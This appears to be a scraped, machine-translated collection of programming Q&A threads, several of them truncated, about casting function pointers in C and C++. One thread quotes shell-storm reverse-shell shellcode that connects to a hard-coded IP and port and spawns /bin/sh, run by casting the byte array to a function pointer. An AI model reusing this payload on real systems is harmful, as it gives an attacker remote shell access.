我有一个函数指针,其函数被声明为期望char *参数.对于它,我想保存一个指向声明为接受char const*参数的函数的指针.
我想我可以使用包装器或演员.强制转换似乎更直接,但我可以合法地调用这样的函数指针的结果吗?
示例代码如下:
static int write_a(char * X){
return 0;
}
static int write_b(char const* X){
return 0;
}
static int wrapped_write_b(char * X){
return write_b(X);
}
typedef int (*write_fn)(char * );
write_fn a = write_a;
write_fn b = wrapped_write_b;
write_fn b1 = (write_fn)write_b; //is b1 legally callable?
Run Code Online (Sandbox Code Playgroud) 这或多或少是一个关于使用示例代码将函数指针转换为另一个类型的澄清请求
struct my_struct;
void my_callback_function(struct my_struct* arg);
void do_stuff(void (*cb)(void*));
static void my_callback_helper(void* pv)
{
my_callback_function(pv);
}
int main()
{
do_stuff(&my_callback_helper);
}
Run Code Online (Sandbox Code Playgroud)
答案说一个"好"的编译器应该能够优化my_callback_helper()函数,但是我发现在https://gcc.godbolt.org
上没有编译器来执行它并且辅助函数总是生成,即使它只是跳转到my_callback_function()( - O3):
my_callback_helper:
jmp my_callback_function
main:
subq $8, %rsp
movl $my_callback_helper, %edi
call do_stuff
xorl %eax, %eax
addq $8, %rsp
ret
Run Code Online (Sandbox Code Playgroud)
所以我的问题是:标准中是否有任何东西阻止编译器消除帮助?
正如我所听到的,将指针转换为函数是不安全的void*.
好的,施放是否安全
void (*enumerate) (void (*)(const struct foo *event, void *), void *)
至
void (*enumerate) (void (*)(const void *event, void *), void *)
然后用它来调用它
void (*)(const void *, void *) 作为第一个参数,它将其第一个void*视为struct foo*?
换句话说,我可以将void*指针重新解释(而不是转换!)作为某种结构类型的void*指针(假设该指针确实包含正确转换的有效结构地址)
实际上,在以下情况下我很有趣:
typedef struct void_struct void_struct_t;
typedef somestruct
{
int member;
// ... other members ...
}somestruct_t;
union
{
void* pv;
void_struct_t* pvs;
somestruct_t* ps;
}u;
somestruct_t s={};
u.pv= &s;
u.ps->member=1; // (Case 1) Ok? unspecified? UB?
u.pvs=(void_struct_t*)&s;
u.ps->member=1; // (Case 2) )Ok?
Run Code Online (Sandbox Code Playgroud)
我在C11标准中发现的情况1相当令人失望:
§6.2.5
28指向void的指针应具有与>指向字符类型的指针相同的表示和对齐要求。相似地,指向兼容类型的合格或不合格版本的指针应具有相同的表示和对齐要求。所有指向结构类型的指针应具有相同的表示和对齐要求。所有指向联合类型的指针应具有相同的表示和对齐要求。指向其他类型的指针不必具有相同的表示或对齐要求。
不过,情况2似乎有效,但我不确定100%...
这个问题主要是面向C的,但是我对C ++也很感兴趣(我希望代码在由C ++编译器编译时将是有效的)。老实说,我在C ++ 11标准中发现的更少,所以即使情况2对我来说也值得怀疑...但是,可能是我遗漏了一些东西。
[编辑]这个问题背后的真正问题是什么?
我有一组(可能很大)定义为结构的类型。对于每种类型,我需要定义一个伴随类型:
typedef struct companion_for_sometype
{
sometype* p_object;
// there are also other members
}companion_for_sometype;
Run Code Online (Sandbox Code Playgroud)
显然,伴随类型将是C ++中的模板,但是我需要C的解决方案(更确切地说,是“干净的C”,即C89和C ++的交集,因为我希望我的代码也是有效的C ++代码)。
幸运的是,即使在C语言中也不是问题,因为我可以定义一个宏
DECLARE_COMPANION(type_name) typedef struct companion_for_##type_name …Run Code Online (Sandbox Code Playgroud) 这是shellstorm的代码副本:
#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69)
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
main()
{
printf("Shellcode Length: %d\n", sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
}
Run Code Online (Sandbox Code Playgroud)
任何人都可以帮我解释一下这个"int(ret)()=(int()())代码;" ?它是如何工作的?为什么它可以使上面的代码运行?
以下回调类是"可调用事物"的通用包装器.我真的很喜欢它的API,它没有模板而且非常干净,但是引擎盖下有一些我无法避免的动态分配.
在维护回调类的语义和API的同时,有没有办法摆脱下面的代码中的new和delete?我真的希望我能.
需要的东西:
// base class for something we can "call"
class callable {
public:
virtual void operator()() = 0;
virtual ~callable() {}
};
// wraps pointer-to-members
template<class C>
class callable_from_object : public callable {
public:
callable_from_object(C& object, void (C::*method)())
: o(object), m(method) {}
void operator()() {
(&o ->* m) ();
}
private:
C& o;
void (C::*m)();
};
// wraps pointer-to-functions or pointer-to-static-members
class callable_from_function : public callable {
public:
callable_from_function(void (*function)())
: f(function) {}
void …Run Code Online (Sandbox Code Playgroud) 请考虑以下代码:
#include <stdio.h>
typedef int (*addif_fn_t) (int, int, int);
int add (int a, int b) {
return a + b;
}
int addif (int a, int b, int cond) {
return cond ? (a + b) : 0;
}
int main() {
addif_fn_t fn;
fn = addif;
printf("addif:\t%d %d\n", fn(1, 2, 1), fn(1, 2, 0));
fn = (addif_fn_t)add;
printf("add:\t%d %d\n", fn(1, 2, 1), fn(1, 2, 0));
return 0;
}
Run Code Online (Sandbox Code Playgroud)
在使用标准C调用约定的任何Intel计算机上,这会导致:
addif: 3 0
add: 3 3
Run Code Online (Sandbox Code Playgroud)
问题是:这个成语有多便携?C允许调用一个参数多于它接受的函数吗?
我的猜测是它完全取决于ABI以及它如何确定函数参数和局部变量的存储位置.更重要的是,这可能不是可移植代码.但我已经看到这个习惯用法在实际代码库中多次使用.
这个问题是关于使用函数指针,它不完全兼容,但我希望我可以使用它,只要我的代码只依赖于兼容的部分。让我们从一些代码开始来了解这个想法:
typedef void (*funcp)(int* val);
static void myFuncA(int* val) {
*val *= 2;
return;
}
static int myFuncB(int* val) {
*val *= 2;
return *val;
}
int main(void) {
funcp f = NULL;
int v = 2;
f = myFuncA;
f(&v);
// now v is 4
// explicit cast so the compiler will not complain
f = (funcp)myFuncB;
f(&v);
// now v is 8
return 0;
}
Run Code Online (Sandbox Code Playgroud)
虽然参数myFuncA和myFuncB相同且完全兼容,返回值不并因此仅仅通过调用代码忽略。我尝试了上面的代码,它使用 GCC 可以正常工作。
我正在尝试计算多线程 C++ 程序来计算前 N 个整数的立方和。
每个线程应该计算一个部分和以在它们之间平均分配工作。与 pthread_create 参数苦苦挣扎,它给出了错误。
#include <iostream>
#include <pthread.h>
#define n 6
#define p 4
using namespace std;
int part = 0;
int arr[] = { 1,2,3,4,5,6 };
int sum[p]={0};
void* cube_array(int arr[])
{
int thread_part = part++;
for (int i = thread_part * (n/ p); i < (thread_part + 1) * (n/ p); i++) {
sum[thread_part] += arr[i]*arr[i]*arr[i];
}
return NULL;
}
// Driver Code
int main()
{
pthread_t threads[p];
for (int i = 0; i …Run Code Online (Sandbox Code Playgroud)